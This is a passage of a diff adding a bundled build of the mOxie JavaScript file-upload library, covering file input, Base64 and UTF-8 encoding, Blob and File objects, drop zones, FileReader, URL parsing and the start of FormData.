+						var pos, size, browseButton, shimContainer;
+						
+						browseButton = Dom.get(options.browse_button);
+						shimContainer = Dom.get(runtime.shimid); // do not use runtime.getShimContainer(), since it will create container if it doesn't exist
+
+						if (browseButton) {
+							pos = Dom.getPos(browseButton, Dom.get(options.container));
+							size = Dom.getSize(browseButton);
+
+							if (shimContainer) {
+								Basic.extend(shimContainer.style, {
+									top     : pos.y + 'px',
+									left    : pos.x + 'px',
+									width   : size.w + 'px',
+									height  : size.h + 'px'
+								});
+							}
+						}
+						shimContainer = browseButton = null;
+					});
+					
+					runtime.exec.call(self, 'FileInput', 'init', options);
+				});
+
+				// runtime needs: options.required_features, options.runtime_order and options.container
+				self.connectRuntime(Basic.extend({}, options, {
+					required_caps: {
+						select_file: true
+					}
+				}));
+			},
+
+			/**
+			Disables file-picker element, so that it doesn't react to mouse clicks.
+
+			@method disable
+			@param {Boolean} [state=true] Disable component if - true, enable if - false
+			*/
+			disable: function(state) {
+				var runtime = this.getRuntime();
+				if (runtime) {
+					runtime.exec.call(this, 'FileInput', 'disable', Basic.typeOf(state) === 'undefined' ? true : state);
+				}
+			},
+
+
+			/**
+			Reposition and resize dialog trigger to match the position and size of browse_button element.
+
+			@method refresh
+			*/
+			refresh: function() {
+				self.trigger("Refresh");
+			},
+
+
+			/**
+			Destroy component.
+
+			@method destroy
+			*/
+			destroy: function() {
+				var runtime = this.getRuntime();
+				if (runtime) {
+					runtime.exec.call(this, 'FileInput', 'destroy');
+					this.disconnectRuntime();
+				}
+
+				if (Basic.typeOf(this.files) === 'array') {
+					// no sense in leaving associated files behind
+					Basic.each(this.files, function(file) {
+						file.destroy();
+					});
+				} 
+				this.files = null;
+
+				this.unbindAll();
+			}
+		});
+
+		this.handleEventProps(dispatches);
+	}
+
+	FileInput.prototype = EventTarget.instance;
+
+	return FileInput;
+});
+
+// Included from: src/javascript/core/utils/Encode.js
+
+/**
+ * Encode.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/core/utils/Encode', [], function() {
+
+	/**
+	Encode string with UTF-8
+
+	@method utf8_encode
+	@for Utils
+	@static
+	@param {String} str String to encode
+	@return {String} UTF-8 encoded string
+	*/
+	var utf8_encode = function(str) {
+		return unescape(encodeURIComponent(str));
+	};
+	
+	/**
+	Decode UTF-8 encoded string
+
+	@method utf8_decode
+	@static
+	@param {String} str String to decode
+	@return {String} Decoded string
+	*/
+	var utf8_decode = function(str_data) {
+		return decodeURIComponent(escape(str_data));
+	};
+	
+	/**
+	Decode Base64 encoded string (uses browser's default method if available),
+	from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_decode.js
+
+	@method atob
+	@static
+	@param {String} data String to decode
+	@return {String} Decoded string
+	*/
+	var atob = function(data, utf8) {
+		if (typeof(window.atob) === 'function') {
+			return utf8 ? utf8_decode(window.atob(data)) : window.atob(data);
+		}
+
+		// http://kevin.vanzonneveld.net
+		// +   original by: Tyler Akins (http://rumkin.com)
+		// +   improved by: Thunder.m
+		// +      input by: Aman Gupta
+		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+		// +   bugfixed by: Onno Marsman
+		// +   bugfixed by: Pellentesque Malesuada
+		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+		// +      input by: Brett Zamir (http://brett-zamir.me)
+		// +   bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+		// *     example 1: base64_decode('S2V2aW4gdmFuIFpvbm5ldmVsZA==');
+		// *     returns 1: 'Kevin van Zonneveld'
+		// mozilla has this native
+		// - but breaks in 2.0.0.12!
+		//if (typeof this.window.atob == 'function') {
+		//    return atob(data);
+		//}
+		var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
+		var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
+			ac = 0,
+			dec = "",
+			tmp_arr = [];
+
+		if (!data) {
+			return data;
+		}
+
+		data += '';
+
+		do { // unpack four hexets into three octets using index points in b64
+			h1 = b64.indexOf(data.charAt(i++));
+			h2 = b64.indexOf(data.charAt(i++));
+			h3 = b64.indexOf(data.charAt(i++));
+			h4 = b64.indexOf(data.charAt(i++));
+
+			bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
+
+			o1 = bits >> 16 & 0xff;
+			o2 = bits >> 8 & 0xff;
+			o3 = bits & 0xff;
+
+			if (h3 == 64) {
+				tmp_arr[ac++] = String.fromCharCode(o1);
+			} else if (h4 == 64) {
+				tmp_arr[ac++] = String.fromCharCode(o1, o2);
+			} else {
+				tmp_arr[ac++] = String.fromCharCode(o1, o2, o3);
+			}
+		} while (i < data.length);
+
+		dec = tmp_arr.join('');
+
+		return utf8 ? utf8_decode(dec) : dec;
+	};
+	
+	/**
+	Base64 encode string (uses browser's default method if available),
+	from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_encode.js
+
+	@method btoa
+	@static
+	@param {String} data String to encode
+	@return {String} Base64 encoded string
+	*/
+	var btoa = function(data, utf8) {
+		if (utf8) {
+			data = utf8_encode(data);
+		}
+
+		if (typeof(window.btoa) === 'function') {
+			return window.btoa(data);
+		}
+
+		// http://kevin.vanzonneveld.net
+		// +   original by: Tyler Akins (http://rumkin.com)
+		// +   improved by: Bayron Guevara
+		// +   improved by: Thunder.m
+		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+		// +   bugfixed by: Pellentesque Malesuada
+		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+		// +   improved by: Rafał Kukawski (http://kukawski.pl)
+		// *     example 1: base64_encode('Kevin van Zonneveld');
+		// *     returns 1: 'S2V2aW4gdmFuIFpvbm5ldmVsZA=='
+		// mozilla has this native
+		// - but breaks in 2.0.0.12!
+		var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
+		var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
+			ac = 0,
+			enc = "",
+			tmp_arr = [];
+
+		if (!data) {
+			return data;
+		}
+
+		do { // pack three octets into four hexets
+			o1 = data.charCodeAt(i++);
+			o2 = data.charCodeAt(i++);
+			o3 = data.charCodeAt(i++);
+
+			bits = o1 << 16 | o2 << 8 | o3;
+
+			h1 = bits >> 18 & 0x3f;
+			h2 = bits >> 12 & 0x3f;
+			h3 = bits >> 6 & 0x3f;
+			h4 = bits & 0x3f;
+
+			// use hexets to index into b64, and append result to encoded string
+			tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
+		} while (i < data.length);
+
+		enc = tmp_arr.join('');
+
+		var r = data.length % 3;
+
+		return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
+	};
+
+
+	return {
+		utf8_encode: utf8_encode,
+		utf8_decode: utf8_decode,
+		atob: atob,
+		btoa: btoa
+	};
+});
+
+// Included from: src/javascript/file/Blob.js
+
+/**
+ * Blob.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/file/Blob', [
+	'moxie/core/utils/Basic',
+	'moxie/core/utils/Encode',
+	'moxie/runtime/RuntimeClient'
+], function(Basic, Encode, RuntimeClient) {
+	
+	var blobpool = {};
+
+	/**
+	@class Blob
+	@constructor
+	@param {String} ruid Unique id of the runtime, to which this blob belongs to
+	@param {Object} blob Object "Native" blob object, as it is represented in the runtime
+	*/
+	function Blob(ruid, blob) {
+
+		function _sliceDetached(start, end, type) {
+			var blob, data = blobpool[this.uid];
+
+			if (Basic.typeOf(data) !== 'string' || !data.length) {
+				return null; // or throw exception
+			}
+
+			blob = new Blob(null, {
+				type: type,
+				size: end - start
+			});
+			blob.detach(data.substr(start, blob.size));
+
+			return blob;
+		}
+
+		RuntimeClient.call(this);
+
+		if (ruid) {	
+			this.connectRuntime(ruid);
+		}
+
+		if (!blob) {
+			blob = {};
+		} else if (Basic.typeOf(blob) === 'string') { // dataUrl or binary string
+			blob = { data: blob };
+		}
+
+		Basic.extend(this, {
+			
+			/**
+			Unique id of the component
+
+			@property uid
+			@type {String}
+			*/
+			uid: blob.uid || Basic.guid('uid_'),
+			
+			/**
+			Unique id of the connected runtime, if falsy, then runtime will have to be initialized 
+			before this Blob can be used, modified or sent
+
+			@property ruid
+			@type {String}
+			*/
+			ruid: ruid,
+	
+			/**
+			Size of blob
+
+			@property size
+			@type {Number}
+			@default 0
+			*/
+			size: blob.size || 0,
+			
+			/**
+			Mime type of blob
+
+			@property type
+			@type {String}
+			@default ''
+			*/
+			type: blob.type || '',
+			
+			/**
+			@method slice
+			@param {Number} [start=0]
+			*/
+			slice: function(start, end, type) {		
+				if (this.isDetached()) {
+					return _sliceDetached.apply(this, arguments);
+				}
+				return this.getRuntime().exec.call(this, 'Blob', 'slice', this.getSource(), start, end, type);
+			},
+
+			/**
+			Returns "native" blob object (as it is represented in connected runtime) or null if not found
+
+			@method getSource
+			@return {Blob} Returns "native" blob object or null if not found
+			*/
+			getSource: function() {
+				if (!blobpool[this.uid]) {
+					return null;	
+				}
+				return blobpool[this.uid];
+			},
+
+			/** 
+			Detaches blob from any runtime that it depends on and initialize with standalone value
+
+			@method detach
+			@protected
+			@param {DOMString} [data=''] Standalone value
+			*/
+			detach: function(data) {
+				if (this.ruid) {
+					this.getRuntime().exec.call(this, 'Blob', 'destroy');
+					this.disconnectRuntime();
+					this.ruid = null;
+				}
+
+				data = data || '';
+
+				// if dataUrl, convert to binary string
+				if (data.substr(0, 5) == 'data:') {
+					var base64Offset = data.indexOf(';base64,');
+					this.type = data.substring(5, base64Offset);
+					data = Encode.atob(data.substring(base64Offset + 8));
+				}
+
+				this.size = data.length;
+
+				blobpool[this.uid] = data;
+			},
+
+			/**
+			Checks if blob is standalone (detached of any runtime)
+			
+			@method isDetached
+			@protected
+			@return {Boolean}
+			*/
+			isDetached: function() {
+				return !this.ruid && Basic.typeOf(blobpool[this.uid]) === 'string';
+			},
+			
+			/** 
+			Destroy Blob and free any resources it was using
+
+			@method destroy
+			*/
+			destroy: function() {
+				this.detach();
+				delete blobpool[this.uid];
+			}
+		});
+
+		
+		if (blob.data) {
+			this.detach(blob.data); // auto-detach if payload has been passed
+		} else {
+			blobpool[this.uid] = blob;	
+		}
+	}
+	
+	return Blob;
+});
+
+// Included from: src/javascript/file/File.js
+
+/**
+ * File.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/file/File', [
+	'moxie/core/utils/Basic',
+	'moxie/core/utils/Mime',
+	'moxie/file/Blob'
+], function(Basic, Mime, Blob) {
+	/**
+	@class File
+	@extends Blob
+	@constructor
+	@param {String} ruid Unique id of the runtime, to which this blob belongs to
+	@param {Object} file Object "Native" file object, as it is represented in the runtime
+	*/
+	function File(ruid, file) {
+		if (!file) { // avoid extra errors in case we overlooked something
+			file = {};
+		}
+
+		Blob.apply(this, arguments);
+
+		if (!this.type) {
+			this.type = Mime.getFileMime(file.name);
+		}
+
+		// sanitize file name or generate new one
+		var name;
+		if (file.name) {
+			name = file.name.replace(/\\/g, '/');
+			name = name.substr(name.lastIndexOf('/') + 1);
+		} else if (this.type) {
+			var prefix = this.type.split('/')[0];
+			name = Basic.guid((prefix !== '' ? prefix : 'file') + '_');
+			
+			if (Mime.extensions[this.type]) {
+				name += '.' + Mime.extensions[this.type][0]; // append proper extension if possible
+			}
+		}
+		
+		
+		Basic.extend(this, {
+			/**
+			File name
+
+			@property name
+			@type {String}
+			@default UID
+			*/
+			name: name || Basic.guid('file_'),
+
+			/**
+			Relative path to the file inside a directory
+
+			@property relativePath
+			@type {String}
+			@default ''
+			*/
+			relativePath: '',
+			
+			/**
+			Date of last modification
+
+			@property lastModifiedDate
+			@type {String}
+			@default now
+			*/
+			lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString() // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
+		});
+	}
+
+	File.prototype = Blob.prototype;
+
+	return File;
+});
+
+// Included from: src/javascript/file/FileDrop.js
+
+/**
+ * FileDrop.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/file/FileDrop', [
+	'moxie/core/I18n',
+	'moxie/core/utils/Dom',
+	'moxie/core/Exceptions',
+	'moxie/core/utils/Basic',
+	'moxie/core/utils/Env',
+	'moxie/file/File',
+	'moxie/runtime/RuntimeClient',
+	'moxie/core/EventTarget',
+	'moxie/core/utils/Mime'
+], function(I18n, Dom, x, Basic, Env, File, RuntimeClient, EventTarget, Mime) {
+	/**
+	Turn arbitrary DOM element to a drop zone accepting files. Converts selected files to _File_ objects, to be used 
+	in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through 
+	_XMLHttpRequest_.
+
+	@example
+		<div id="drop_zone">
+			Drop files here
+		</div>
+		<br />
+		<div id="filelist"></div>
+
+		<script type="text/javascript">
+			var fileDrop = new mOxie.FileDrop('drop_zone'), fileList = mOxie.get('filelist');
+
+			fileDrop.ondrop = function() {
+				mOxie.each(this.files, function(file) {
+					fileList.innerHTML += '<div>' + file.name + '</div>';
+				});
+			};
+
+			fileDrop.init();
+		</script>
+
+	@class FileDrop
+	@constructor
+	@extends EventTarget
+	@uses RuntimeClient
+	@param {Object|String} options If options has typeof string, argument is considered as options.drop_zone
+		@param {String|DOMElement} options.drop_zone DOM Element to turn into a drop zone
+		@param {Array} [options.accept] Array of mime types to accept. By default accepts all
+		@param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support
+	*/
+	var dispatches = [
+		/**
+		Dispatched when runtime is connected and drop zone is ready to accept files.
+
+		@event ready
+		@param {Object} event
+		*/
+		'ready', 
+
+		/**
+		Dispatched when dragging cursor enters the drop zone.
+
+		@event dragenter
+		@param {Object} event
+		*/
+		'dragenter',
+
+		/**
+		Dispatched when dragging cursor leaves the drop zone.
+
+		@event dragleave
+		@param {Object} event
+		*/
+		'dragleave', 
+
+		/**
+		Dispatched when file is dropped onto the drop zone.
+
+		@event drop
+		@param {Object} event
+		*/
+		'drop', 
+
+		/**
+		Dispatched if error occurs.
+
+		@event error
+		@param {Object} event
+		*/
+		'error'
+	];
+
+	function FileDrop(options) {
+		if (MXI_DEBUG) {
+			Env.log("Instantiating FileDrop...");	
+		}
+
+		var self = this, defaults;
+
+		// if flat argument passed it should be drop_zone id
+		if (typeof(options) === 'string') {
+			options = { drop_zone : options };
+		}
+
+		// figure out the options
+		defaults = {
+			accept: [{
+				title: I18n.translate('All Files'),
+				extensions: '*'
+			}],
+			required_caps: {
+				drag_and_drop: true
+			}
+		};
+		
+		options = typeof(options) === 'object' ? Basic.extend({}, defaults, options) : defaults;
+
+		// this will help us to find proper default container
+		options.container = Dom.get(options.drop_zone) || document.body;
+
+		// make container relative, if it is not
+		if (Dom.getStyle(options.container, 'position') === 'static') {
+			options.container.style.position = 'relative';
+		}
+					
+		// normalize accept option (could be list of mime types or array of title/extensions pairs)
+		if (typeof(options.accept) === 'string') {
+			options.accept = Mime.mimes2extList(options.accept);
+		}
+
+		RuntimeClient.call(self);
+
+		Basic.extend(self, {
+			uid: Basic.guid('uid_'),
+
+			ruid: null,
+
+			files: null,
+
+			init: function() {		
+				self.bind('RuntimeInit', function(e, runtime) {
+					self.ruid = runtime.uid;
+					runtime.exec.call(self, 'FileDrop', 'init', options);
+					self.dispatchEvent('ready');
+				});
+							
+				// runtime needs: options.required_features, options.runtime_order and options.container
+				self.connectRuntime(options); // throws RuntimeError
+			},
+
+			destroy: function() {
+				var runtime = this.getRuntime();
+				if (runtime) {
+					runtime.exec.call(this, 'FileDrop', 'destroy');
+					this.disconnectRuntime();
+				}
+				this.files = null;
+				
+				this.unbindAll();
+			}
+		});
+
+		this.handleEventProps(dispatches);
+	}
+
+	FileDrop.prototype = EventTarget.instance;
+
+	return FileDrop;
+});
+
+// Included from: src/javascript/file/FileReader.js
+
+/**
+ * FileReader.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/file/FileReader', [
+	'moxie/core/utils/Basic',
+	'moxie/core/utils/Encode',
+	'moxie/core/Exceptions',
+	'moxie/core/EventTarget',
+	'moxie/file/Blob',
+	'moxie/runtime/RuntimeClient'
+], function(Basic, Encode, x, EventTarget, Blob, RuntimeClient) {
+	/**
+	Utility for preloading o.Blob/o.File objects in memory. By design closely follows [W3C FileReader](http://www.w3.org/TR/FileAPI/#dfn-filereader)
+	interface. Where possible uses native FileReader, where - not falls back to shims.
+
+	@class FileReader
+	@constructor FileReader
+	@extends EventTarget
+	@uses RuntimeClient
+	*/
+	var dispatches = [
+
+		/** 
+		Dispatched when the read starts.
+
+		@event loadstart
+		@param {Object} event
+		*/
+		'loadstart', 
+
+		/** 
+		Dispatched while reading (and decoding) blob, and reporting partial Blob data (progess.loaded/progress.total).
+
+		@event progress
+		@param {Object} event
+		*/
+		'progress', 
+
+		/** 
+		Dispatched when the read has successfully completed.
+
+		@event load
+		@param {Object} event
+		*/
+		'load', 
+
+		/** 
+		Dispatched when the read has been aborted. For instance, by invoking the abort() method.
+
+		@event abort
+		@param {Object} event
+		*/
+		'abort', 
+
+		/** 
+		Dispatched when the read has failed.
+
+		@event error
+		@param {Object} event
+		*/
+		'error', 
+
+		/** 
+		Dispatched when the request has completed (either in success or failure).
+
+		@event loadend
+		@param {Object} event
+		*/
+		'loadend'
+	];
+	
+	function FileReader() {
+
+		RuntimeClient.call(this);
+
+		Basic.extend(this, {
+			/**
+			UID of the component instance.
+
+			@property uid
+			@type {String}
+			*/
+			uid: Basic.guid('uid_'),
+
+			/**
+			Contains current state of FileReader object. Can take values of FileReader.EMPTY, FileReader.LOADING
+			and FileReader.DONE.
+
+			@property readyState
+			@type {Number}
+			@default FileReader.EMPTY
+			*/
+			readyState: FileReader.EMPTY,
+			
+			/**
+			Result of the successful read operation.
+
+			@property result
+			@type {String}
+			*/
+			result: null,
+			
+			/**
+			Stores the error of failed asynchronous read operation.
+
+			@property error
+			@type {DOMError}
+			*/
+			error: null,
+			
+			/**
+			Initiates reading of File/Blob object contents to binary string.
+
+			@method readAsBinaryString
+			@param {Blob|File} blob Object to preload
+			*/
+			readAsBinaryString: function(blob) {
+				_read.call(this, 'readAsBinaryString', blob);
+			},
+			
+			/**
+			Initiates reading of File/Blob object contents to dataURL string.
+
+			@method readAsDataURL
+			@param {Blob|File} blob Object to preload
+			*/
+			readAsDataURL: function(blob) {
+				_read.call(this, 'readAsDataURL', blob);
+			},
+			
+			/**
+			Initiates reading of File/Blob object contents to string.
+
+			@method readAsText
+			@param {Blob|File} blob Object to preload
+			*/
+			readAsText: function(blob) {
+				_read.call(this, 'readAsText', blob);
+			},
+			
+			/**
+			Aborts preloading process.
+
+			@method abort
+			*/
+			abort: function() {
+				this.result = null;
+				
+				if (Basic.inArray(this.readyState, [FileReader.EMPTY, FileReader.DONE]) !== -1) {
+					return;
+				} else if (this.readyState === FileReader.LOADING) {
+					this.readyState = FileReader.DONE;
+				}
+
+				this.exec('FileReader', 'abort');
+				
+				this.trigger('abort');
+				this.trigger('loadend');
+			},
+
+			/**
+			Destroy component and release resources.
+
+			@method destroy
+			*/
+			destroy: function() {
+				this.abort();
+				this.exec('FileReader', 'destroy');
+				this.disconnectRuntime();
+				this.unbindAll();
+			}
+		});
+
+		// uid must already be assigned
+		this.handleEventProps(dispatches);
+
+		this.bind('Error', function(e, err) {
+			this.readyState = FileReader.DONE;
+			this.error = err;
+		}, 999);
+		
+		this.bind('Load', function(e) {
+			this.readyState = FileReader.DONE;
+		}, 999);
+
+		
+		function _read(op, blob) {
+			var self = this;			
+
+			this.trigger('loadstart');
+
+			if (this.readyState === FileReader.LOADING) {
+				this.trigger('error', new x.DOMException(x.DOMException.INVALID_STATE_ERR));
+				this.trigger('loadend');
+				return;
+			}
+
+			// if source is not o.Blob/o.File
+			if (!(blob instanceof Blob)) {
+				this.trigger('error', new x.DOMException(x.DOMException.NOT_FOUND_ERR));
+				this.trigger('loadend');
+				return;
+			}
+
+			this.result = null;
+			this.readyState = FileReader.LOADING;
+			
+			if (blob.isDetached()) {
+				var src = blob.getSource();
+				switch (op) {
+					case 'readAsText':
+					case 'readAsBinaryString':
+						this.result = src;
+						break;
+					case 'readAsDataURL':
+						this.result = 'data:' + blob.type + ';base64,' + Encode.btoa(src);
+						break;
+				}
+				this.readyState = FileReader.DONE;
+				this.trigger('load');
+				this.trigger('loadend');
+			} else {
+				this.connectRuntime(blob.ruid);
+				this.exec('FileReader', 'read', op, blob);
+			}
+		}
+	}
+	
+	/**
+	Initial FileReader state
+
+	@property EMPTY
+	@type {Number}
+	@final
+	@static
+	@default 0
+	*/
+	FileReader.EMPTY = 0;
+
+	/**
+	FileReader switches to this state when it is preloading the source
+
+	@property LOADING
+	@type {Number}
+	@final
+	@static
+	@default 1
+	*/
+	FileReader.LOADING = 1;
+
+	/**
+	Preloading is complete, this is a final state
+
+	@property DONE
+	@type {Number}
+	@final
+	@static
+	@default 2
+	*/
+	FileReader.DONE = 2;
+
+	FileReader.prototype = EventTarget.instance;
+
+	return FileReader;
+});
+
+// Included from: src/javascript/core/utils/Url.js
+
+/**
+ * Url.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/core/utils/Url', [], function() {
+	/**
+	Parse url into separate components and fill in absent parts with parts from current url,
+	based on https://raw.github.com/kvz/phpjs/master/functions/url/parse_url.js
+
+	@method parseUrl
+	@for Utils
+	@static
+	@param {String} url Url to parse (defaults to empty string if undefined)
+	@return {Object} Hash containing extracted uri components
+	*/
+	var parseUrl = function(url, currentUrl) {
+		var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment']
+		, i = key.length
+		, ports = {
+			http: 80,
+			https: 443
+		}
+		, uri = {}
+		, regex = /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/
+		, m = regex.exec(url || '')
+		;
+					
+		while (i--) {
+			if (m[i]) {
+				uri[key[i]] = m[i];
+			}
+		}
+
+		// when url is relative, we set the origin and the path ourselves
+		if (!uri.scheme) {
+			// come up with defaults
+			if (!currentUrl || typeof(currentUrl) === 'string') {
+				currentUrl = parseUrl(currentUrl || document.location.href);
+			}
+
+			uri.scheme = currentUrl.scheme;
+			uri.host = currentUrl.host;
+			uri.port = currentUrl.port;
+
+			var path = '';
+			// for urls without trailing slash we need to figure out the path
+			if (/^[^\/]/.test(uri.path)) {
+				path = currentUrl.path;
+				// if path ends with a filename, strip it
+				if (/\/[^\/]*\.[^\/]*$/.test(path)) {
+					path = path.replace(/\/[^\/]+$/, '/');
+				} else {
+					// avoid double slash at the end (see #127)
+					path = path.replace(/\/?$/, '/');
+				}
+			}
+			uri.path = path + (uri.path || ''); // site may reside at domain.com or domain.com/subdir
+		}
+
+		if (!uri.port) {
+			uri.port = ports[uri.scheme] || 80;
+		} 
+		
+		uri.port = parseInt(uri.port, 10);
+
+		if (!uri.path) {
+			uri.path = "/";
+		}
+
+		delete uri.source;
+
+		return uri;
+	};
+
+	/**
+	Resolve url - among other things will turn relative url to absolute
+
+	@method resolveUrl
+	@static
+	@param {String|Object} url Either absolute or relative, or a result of parseUrl call
+	@return {String} Resolved, absolute url
+	*/
+	var resolveUrl = function(url) {
+		var ports = { // we ignore default ports
+			http: 80,
+			https: 443
+		}
+		, urlp = typeof(url) === 'object' ? url : parseUrl(url);
+		;
+
+		return urlp.scheme + '://' + urlp.host + (urlp.port !== ports[urlp.scheme] ? ':' + urlp.port : '') + urlp.path + (urlp.query ? urlp.query : '');
+	};
+
+	/**
+	Check if specified url has the same origin as the current document
+
+	@method hasSameOrigin
+	@param {String|Object} url
+	@return {Boolean}
+	*/
+	var hasSameOrigin = function(url) {
+		function origin(url) {
+			return [url.scheme, url.host, url.port].join('/');
+		}
+			
+		if (typeof url === 'string') {
+			url = parseUrl(url);
+		}	
+		
+		return origin(parseUrl()) === origin(url);
+	};
+
+	return {
+		parseUrl: parseUrl,
+		resolveUrl: resolveUrl,
+		hasSameOrigin: hasSameOrigin
+	};
+});
+
+// Included from: src/javascript/runtime/RuntimeTarget.js
+
+/**
+ * RuntimeTarget.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/runtime/RuntimeTarget', [
+	'moxie/core/utils/Basic',
+	'moxie/runtime/RuntimeClient',
+	"moxie/core/EventTarget"
+], function(Basic, RuntimeClient, EventTarget) {
+	/**
+	Instance of this class can be used as a target for the events dispatched by shims,
+	when allowing them onto components is for either reason inappropriate
+
+	@class RuntimeTarget
+	@constructor
+	@protected
+	@extends EventTarget
+	*/
+	function RuntimeTarget() {
+		this.uid = Basic.guid('uid_');
+		
+		RuntimeClient.call(this);
+
+		this.destroy = function() {
+			this.disconnectRuntime();
+			this.unbindAll();
+		};
+	}
+
+	RuntimeTarget.prototype = EventTarget.instance;
+
+	return RuntimeTarget;
+});
+
+// Included from: src/javascript/file/FileReaderSync.js
+
+/**
+ * FileReaderSync.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/file/FileReaderSync', [
+	'moxie/core/utils/Basic',
+	'moxie/runtime/RuntimeClient',
+	'moxie/core/utils/Encode'
+], function(Basic, RuntimeClient, Encode) {
+	/**
+	Synchronous FileReader implementation. Something like this is available in WebWorkers environment, here
+	it can be used to read only preloaded blobs/files and only below certain size (not yet sure what that'd be,
+	but probably < 1mb). Not meant to be used directly by user.
+
+	@class FileReaderSync
+	@private
+	@constructor
+	*/
+	return function() {
+		RuntimeClient.call(this);
+
+		Basic.extend(this, {
+			uid: Basic.guid('uid_'),
+
+			readAsBinaryString: function(blob) {
+				return _read.call(this, 'readAsBinaryString', blob);
+			},
+			
+			readAsDataURL: function(blob) {
+				return _read.call(this, 'readAsDataURL', blob);
+			},
+			
+			/*readAsArrayBuffer: function(blob) {
+				return _read.call(this, 'readAsArrayBuffer', blob);
+			},*/
+			
+			readAsText: function(blob) {
+				return _read.call(this, 'readAsText', blob);
+			}
+		});
+
+		function _read(op, blob) {
+			if (blob.isDetached()) {
+				var src = blob.getSource();
+				switch (op) {
+					case 'readAsBinaryString':
+						return src;
+					case 'readAsDataURL':
+						return 'data:' + blob.type + ';base64,' + Encode.btoa(src);
+					case 'readAsText':
+						var txt = '';
+						for (var i = 0, length = src.length; i < length; i++) {
+							txt += String.fromCharCode(src[i]);
+						}
+						return txt;
+				}
+			} else {
+				var result = this.connectRuntime(blob.ruid).exec.call(this, 'FileReaderSync', 'read', op, blob);
+				this.disconnectRuntime();
+				return result;
+			}
+		}
+	};
+});
+
+// Included from: src/javascript/xhr/FormData.js
+
+/**
+ * FormData.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define("moxie/xhr/FormData", [
+	"moxie/core/Exceptions",
+	"moxie/core/utils/Basic",
+	"moxie/file/Blob"
+], function(x, Basic, Blob) {
+	/**
+	FormData
+
+	@class FormData
+	@constructor
+	*/
+	function FormData() {
+		var _blob, _fields = [];
+
+		Basic.extend(this, {
+			/**
+			Append another key-value pair to the FormData object
+
+			@method append
+			@param {String} name Name for the new field
+			@param {String|Blob|Array|Object} value Value for the field
+			*/
+			append: function(name, value) {
+				var self = this, valueType = Basic.typeOf(value);
+
+				// according to specs value might be either Blob or String
+				if (value instanceof Blob) {
+					_blob = {
+						name: name,
+						value: value // unfortunately we can only send single Blob in one FormData
+					};
+				} else if ('array' === valueType) {
+					name += '[]';
+
+					Basic.each(value, function(value) {
+						self.append(name, value);
+					});
+				} else if ('object' === valueType) {
+					Basic.each(value, function(value, key) {
+						self.append(name + '[' + key + ']', value);
+					});
+				} else if ('null' === valueType || 'undefined' === valueType || 'number' === valueType && isNaN(value)) {
+					self.append(name, "false");
+				} else {
+					_fields.push({
+						name: name,
+						value: value.toString()
+					});
+				}
+			},
+
+			/**
+			Checks if FormData contains Blob.
+
+			@method hasBlob
+			@return {Boolean}
+			*/
+			hasBlob: function() {
+				return !!this.getBlob();
+			},
+
+			/**
+			Retrieves blob.
+
+			@method getBlob
+			@return {Object} Either Blob if found or null
+			*/
+			getBlob: function() {
+				return _blob && _blob.value || null;
+			},
+
+			/**
+			Retrieves blob field name.
+
+			@method getBlobName
+			@return {String} Either Blob field name or null
+			*/
+			getBlobName: function() {
+				return _blob && _blob.name || null;
+			},
+
+			/**
+			Loop over the fields in FormData and invoke the callback for each of them.
+
+			@method each
+			@param {Function} cb Callback to call for each field
+			*/
+			each: function(cb) {
+				Basic.each(_fields, function(field) {
+					cb(field.value, field.name);
